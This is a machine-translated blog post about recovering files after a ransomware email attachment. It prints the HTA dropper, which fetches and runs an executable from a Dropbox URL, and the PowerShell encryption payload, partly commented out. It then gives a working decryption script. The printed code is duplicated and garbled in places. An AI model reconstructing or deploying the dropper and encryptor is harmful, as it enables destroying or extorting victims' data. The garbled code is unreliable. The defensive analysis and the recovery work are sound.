⬆️ ⬇️

PowerShell. Decrypt files after exposure to "virus"

In a certain city of Russia

(It may be that even in yours)

There is not a small firm.

Rent a room

At NIimorgorvorproma.


This company has an employee who likes to read mail. It opens somehow a file, someone invested on purpose, into the depths of the letter that came. Having launched “Thank-you letter.hta” without a second thought and not seeing congratulations, I decided to smoke a little. Returning from a smoke break, he reads in anxiety:



If you are reading this message, then your computer has been attacked by a dangerous virus.

All your information (documents, movies and other files) on this computer was encrypted

using the most cryptographic algorithm in the world of RSA1024.

You can restore files only with the help of a special program. To get it, you need

write us an email to unblockme@tormail.org



Attempting to decrypt without our program files may be damaged!

Attach a file to the letter, which is located on the desktop "READ_ME_NOW !!!!!!. TXT", or this file

Threats will only threaten you and your files! DO NOT FORGET: only WE can decrypt your files!



pz8FkWJXdijcajJcWfhJ27TGPgcNNEKEKDBcsdyzfX and lUoq68eAptVmGNIYLD8eti1kwicdOR59pwOC7XM7T + YLccqyeJqc5loxMCKy4pklzbMJBRM and 4ckjzbMJT + YLccqyeJqc5loxMCKy4pklzbMJBRM and 4ckjjcMjt + YLccqyeJqc5loxMCKy4pklzbMJTRMpYWF7XM7T + YLccqyeJqc5loxMCKy4pklzbMJBRMpYWF7XMDT


')

Now the same thing in other words. The employee received a letter with the attachment “Thank-you letter.rar”. The body of the letter indicated that the archive was password-protected and a password was given. It just so happened that these days customers sent such letters and the employee did not suspect anything. Open the archive and launch the attachment “Thank you letter.hta”. After a while, almost all files acquired the .BMCODE extension (added to the end, without deleting the text of the original extension) and in each folder lay READ_ME_NOW !!!!!! txt with the above text. The user said "where it is necessary" and they took up the "who should."

First of all, without a panic, we looked at this * .hta and saw:

The original code here and hereinafter is slightly modified and commented out so that there are no random launches.

Hta code
<!--     base64--> <html> <head> <meta charset="windows-1251"> </head> <HTA:APPLICATION ID="objHTA_Info" APPLICATIONNAME="HTA_Info" SINGLEINSTANCE="yes" > <body> <script language=VBScript> 'Execute base64decode("      base64 ") Function base64decode(data) a="CDO.Message" set b=CreateObject(a) With b.BodyPart .ContentTransferEncoding = "base64" .Charset = "windows-1251" With .GetEncodedContentStream .WriteText data .Flush End With With .GetDecodedContentStream .Charset = "utf-8" base64decode = .ReadText End With End With End Function </script> </body> </html> 




We look further (the department began to get hysteric from laughter how everything is genius and simple):



Execute base64decode (
 a1686979793=1686979793: Const SYSTEM32 = &H25:Set # fso = CreateObject("Scripting.FileSystemObject"): Set objShell = CreateObject("Shell.Application"): Set wshShell = CreateObject( "WScript.Shell" ): #Set objFolder = objShell.Namespace(SYSTEM32): Set objFolderItem = objFolder.Self: filepath = replace(objHTA_Info.commandLine,chr(34),""): arguments = " -command $path=((get-content -Path '" + filepath + "' -totalcount 1) -split '%'[1]; #$bytes = [System.Convert]::FromBase64String($path); $decoded = [System.Text.Encoding]::UTF8.GetString($bytes); Invoke-Expression $decoded": Path = objFolderItem.Path + "\WindowsPowerShell\v1.0\powershell.exe": newPath = Path & arguments:RarPath = wshShell.ExpandEnvironmentStrings("%TMP%") & "\powershell.exe": TestPath = wshShell.ExpandEnvironmentStrings("%TMP%") & "\powershell\powershell.exe":. appNewPath = wshShell.ExpandEnvironmentStrings("%TMP%") & "\powershell\powershell.exe" & arguments: If (fso.FileExists(Path)) Then: wshShell.Run newPath, 0, False: Else : #If Not (fso.FileExists(TestPath)) Then: dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP"): dim bStrm: Set bStrm = createobject("Adodb.Stream"): xHttp.Open "GET", "https://dl.dropbox.com/sh/wn8x35r9l9wsitn/XSwafOFh9E/powershell.exe?dl=1", False: xHttp.Send: with bStrm: .type = 1: .open: #.write xHttp.responseBody: .savetofile RarPath, 2: end with: wshShell.Run RarPath, 0, True: End If : wshShell.Run appNewPath, 0, True : End If 




Having roughly understood that the main thing is that PowerShell is being downloaded from its account on dropbox.com and we are losing interest in this piece.

Further:



the first piece in base64
 $1686979793=1686979793; $ErrorActionPreference="SilentlyContinue"; if(((Get-Process -Name powershell).count) -ge 2){exit}$ref=[Reflection.Assembly]::LoadWithPartialName('System.Security'); Add-Type -Assembly System.Web; $ek=(get-wmiobject Win32_ComputerSystemProduct).UUID; [byte[]]$bytes=[system.Text.Encoding]::Unicode.GetBytes($ek); $basekey="BgIAAACkAABSU0ExAAQAAAEAAQDTYUZyVxhh48R/1Y/H5NdEgi49DIHtJTXm+mcVHnvUpYiNEnxpFj/UJXVDg0F2rfWFpnyqHJ0dbyjsOCwMX0eRyp2VxrWFzOHIM6QpevxGF9izXeNq7+OzBuo11V/7EmvQBW2sfuNEOP7zdUw0DFKoK+X2Taewaki1LGYhpshjqg=="; #$rsa = New-Object System.Security.Cryptography.RSACryptoServiceProvider; #$rsa.ImportCspBlob([system.Convert]::FromBase64String($basekey)); $enckey=[system.Convert]::ToBase64String($rsa.Encrypt($bytes, $false)); $text= "    ,       .`r`n   (,    )     `r`n       RSA1024.`r`n       .   ,  `r`n     unblockme@tormail.org`r`n        !`r`n   ,      `"READ_ME_NOW!!!!!!.TXT`",   `r`n         !  :      !`r`n`r`n" + $enckey; #function Encrypt-File($item, $Passphrase){ $salt="BMCODE hack your system"; $init="BMCODE INIT"; $r = new-Object System.Security.Cryptography.RijndaelManaged; $pass = [Text.Encoding]::UTF8.GetBytes($Passphrase); $salt = [Text.Encoding]::UTF8.GetBytes($salt); $r.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $pass, $salt, "SHA1", 5).GetBytes(32); $r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($init) )[0..15]; $r.Padding="Zeros"; $r.Mode="CBC"; $c = $r.CreateEncryptor(); $ms = new-Object IO.MemoryStream; $cs = new-Object Security.Cryptography.CryptoStream $ms,$c,"Write"; $cs.Write($item, 0,$item.Length); $cs.Close(); $ms.Close(); $r.Clear(); return $ms.ToArray(); } #$disks=Get-PSDrive|Where-Object {$_.Free -gt 50000}|Sort-Object -Descending; foreach($disk in $disks){gci $disk.root -Recurse -Include "*.doc",  ,"*.1cd" |%{try {$file=[io.file]::Open($_, Open', 'ReadWrite'); #if ($file.Length -lt "40960"){$size=$file.Length}else{$size="40960"} [byte[]]$buff = new-object byte[] $size; $ToEncrypt = $file.Read($buff, 0, $buff.Length); $file.Position='0'; #$Encrypted=Enckrypt-File $buff $ek; $file.Write($Encrypted, 0, $Encrypted.Length); $file.Close(); #$newname=$_.Name+'.BMCODE'; #ren -Path $_.FulName -NewName $nename -Force; $path=$_.DirectoryName+'\READ_ME_NOW!!!!!!.TXT'; if(!(Test-Path $path)){sc -pat $path -va $text} } catch{} } } H5NdEgi49DIHtJTXm + mcVHnvUpYiNEnxpFj / UJXVDg0F2rfWFpnyqHJ0dbyjsOCwMX0eRyp2VxrWFzOHIM6QpevxGF9izXeNq7 + OzBuo11V / 7EmvQBW2sfuNEOP7zdUw0DFKoK + X2Taewaki1LGYhpshjqg =="; $1686979793=1686979793; $ErrorActionPreference="SilentlyContinue"; if(((Get-Process -Name powershell).count) -ge 2){exit}$ref=[Reflection.Assembly]::LoadWithPartialName('System.Security'); Add-Type -Assembly System.Web; $ek=(get-wmiobject Win32_ComputerSystemProduct).UUID; [byte[]]$bytes=[system.Text.Encoding]::Unicode.GetBytes($ek); $basekey="BgIAAACkAABSU0ExAAQAAAEAAQDTYUZyVxhh48R/1Y/H5NdEgi49DIHtJTXm+mcVHnvUpYiNEnxpFj/UJXVDg0F2rfWFpnyqHJ0dbyjsOCwMX0eRyp2VxrWFzOHIM6QpevxGF9izXeNq7+OzBuo11V/7EmvQBW2sfuNEOP7zdUw0DFKoK+X2Taewaki1LGYhpshjqg=="; #$rsa = New-Object System.Security.Cryptography.RSACryptoServiceProvider; #$rsa.ImportCspBlob([system.Convert]::FromBase64String($basekey)); $enckey=[system.Convert]::ToBase64String($rsa.Encrypt($bytes, $false)); $text= "    ,       .`r`n   (,    )     `r`n       RSA1024.`r`n       .   ,  `r`n     unblockme@tormail.org`r`n        !`r`n   ,      `"READ_ME_NOW!!!!!!.TXT`",   `r`n         !  :      !`r`n`r`n" + $enckey; #function Encrypt-File($item, $Passphrase){ $salt="BMCODE hack your system"; $init="BMCODE INIT"; $r = new-Object System.Security.Cryptography.RijndaelManaged; $pass = [Text.Encoding]::UTF8.GetBytes($Passphrase); $salt = [Text.Encoding]::UTF8.GetBytes($salt); $r.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $pass, $salt, "SHA1", 5).GetBytes(32); $r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($init) )[0..15]; $r.Padding="Zeros"; $r.Mode="CBC"; $c = $r.CreateEncryptor(); $ms = new-Object IO.MemoryStream; $cs = new-Object Security.Cryptography.CryptoStream $ms,$c,"Write"; $cs.Write($item, 0,$item.Length); $cs.Close(); $ms.Close(); $r.Clear(); return $ms.ToArray(); } #$disks=Get-PSDrive|Where-Object {$_.Free -gt 50000}|Sort-Object -Descending; foreach($disk in $disks){gci $disk.root -Recurse -Include "*.doc",  ,"*.1cd" |%{try {$file=[io.file]::Open($_, Open', 'ReadWrite'); #if ($file.Length -lt "40960"){$size=$file.Length}else{$size="40960"} [byte[]]$buff = new-object byte[] $size; $ToEncrypt = $file.Read($buff, 0, $buff.Length); $file.Position='0'; #$Encrypted=Enckrypt-File $buff $ek; $file.Write($Encrypted, 0, $Encrypted.Length); $file.Close(); #$newname=$_.Name+'.BMCODE'; #ren -Path $_.FulName -NewName $nename -Force; $path=$_.DirectoryName+'\READ_ME_NOW!!!!!!.TXT'; if(!(Test-Path $path)){sc -pat $path -va $text} } catch{} } } 


We read, read and exhale with relief. There is no question of any total encryption of files.

So. The first thing we look for keys. See the lines:

  $Encrypted=Enckrypt-File $buff $ek; $ek=(get-wmiobject Win32_ComputerSystemProduct).UUID; 


and we understand that the key uses the computer's UUID. From this moment it becomes even easier and almost boldly forget about the first part, where a scary key is formed, which is added to * .TXT



Further we see:

 if ($file.Length -lt "40960"){$size=$file.Length}else{$size="40960"}; [byte[]]$buff = new-object byte[] $size; 


From this we find out that not the entire file is encrypted, but only the first part of it, if the file size is more than 40kb, if less, then the whole file.

It remains to know the UUID of the computer and write a script to decrypt.

UUID will be recognized by the same command.

 (get-wmiobject Win32_ComputerSystemProduct).UUID 


Running it in PowerShell, which the malware carefully downloaded and did not delete from% TEMP%.



Now for writing the script. Difficulty arose only in understanding (and that is due to lack of knowledge, since it was not necessary to encounter before) that, in the examples of M $, similar functions pass a string as a parameter, and here they simply use an array.



Actually, what to learn. This code is working, without changes and with unnecessary conclusions to track the process of work.

DEC_beta, ps1
 cls $null = [Reflection.Assembly]::LoadWithPartialName("System.Security"); $ek='00000000-0000-0000-0000-6CF04916E0EA'; function Decrypt-String($Encrypted, $Passphrase){ $salt="BMCODE hack your system" $init="BMCODE INIT" $r = new-Object System.Security.Cryptography.RijndaelManaged $pass = [Text.Encoding]::UTF8.GetBytes($Passphrase) $salt = [Text.Encoding]::UTF8.GetBytes($salt) $r.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $pass, $salt, "SHA1", 5).GetBytes(32) $r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($init) )[0..15] $r.Padding="Zeros"; $r.Mode="CBC"; $d = $r.CreateDecryptor() $ms = new-Object IO.MemoryStream @(,$Encrypted) $cs = new-Object Security.Cryptography.CryptoStream $ms,$d,"Read" $Enc=$cs.read($Encrypted, 0,$Encrypted.Length) $cs.Close(); $ms.Close(); $r.Clear(); return [byte[]]$Encrypted = $ms.ToArray() } $dir= read-host "       (: C:\, D:\111\)" gci $dir -Recurse -Include "*.BMCODE" |%{try {$_; $file=[io.file]::Open($_, 'Open', 'ReadWrite'); #Wrire-host $file.Name; write-Host " : $file.Length"; If ($file.Length -lt "40960"){$size=$file.Length} Else{$size="40960"} [byte[]]$buff = new-object byte[] $size; $ToEncrypt = $file.Read($buff, 0, $buff.Length); write-host $size; $file.Position='0'; $arr=Decrypt-String $buff $ek; Write-host $_.Name Write-host $_.FullName $file.Write($arr, 0, $arr.Length); Write-host "Done"; $file.Close(); $newname=$_.Name -replace '.BMCODE',''; ren -Path $_.FullName -NewName $newname -Force; Write-Host " : $_.Name"; $hnya=$_.DirectoryName+'\READ_ME_NOW!!!!!!.TXT' rm $hnya; } catch{} } 


What he does, what needs to be changed if needed by yourself:

1) we set in the manual variable $ ek with the required key (in our case, the UUID)

2) A description of the decoding function that returns an array. We set the $ salt and $ init variables according to what was in the source code of the malware.

3) We ask the launching party to specify the path from which the file search will begin (we search by subfolders)

4) Each found file with the specified extension (.BMCODE) is decoded and renamed to normal.

5) At the same time, files named READ_ME_NOW !!!!!!. TXT, which the malware has created, succeed.



The code is not perfect and much can be simplified and rewritten, but the main thing is that it works and helps.



That's all. I hope this article will help everyone who has already encountered a similar problem and does not know what to do. As they say in RuNet, attackers require from 3000 to 10,000 rubles for decoding, but there are also more complex variants of malicious programs, where you just can’t find out the key.



I say goodbye for this sim and I hope that I will even find the time and write how we in our institute installed video surveillance and hung the mouse as a bell on the department door.



UPD

According to the results of correspondence.

Variant .TFCODE

The .TFCODE version uses a random password of 50 characters. The password file was found in

C: \ Documents and Settings \ USER \ Application Data. Fail System Product Name



In the malicious code, a kind of check for restart is implemented.

 $idpath = $env:APPDATA + "\" + (gwmi win32_computersystem).model; if(Test-Path $idpath){$getc = Get-Content $idpath; if ($getc -eq "good"){exit} else {$ek = $getc}} ...... Set-Content -Path $idpath -Value "good" 




If the file is already recorded good means the key is already so easy to not find. So, if you accidentally started the malware or noticed that the files started changing extensions, immediately turn off the computer to stop the encryption process and save the key.



The rest is all the same. In the $ ek variable set the line from the found file. Change .BMCODE to .TFCODE, check the $ salt and $ init variables and change the name of * .TXT to what was created in the folders (READ_ME_NOW.TXT).

We do a trial run on copies of encrypted files. If everything is good, then rejoice.

Source: https://habr.com/ru/post/168677/



All Articles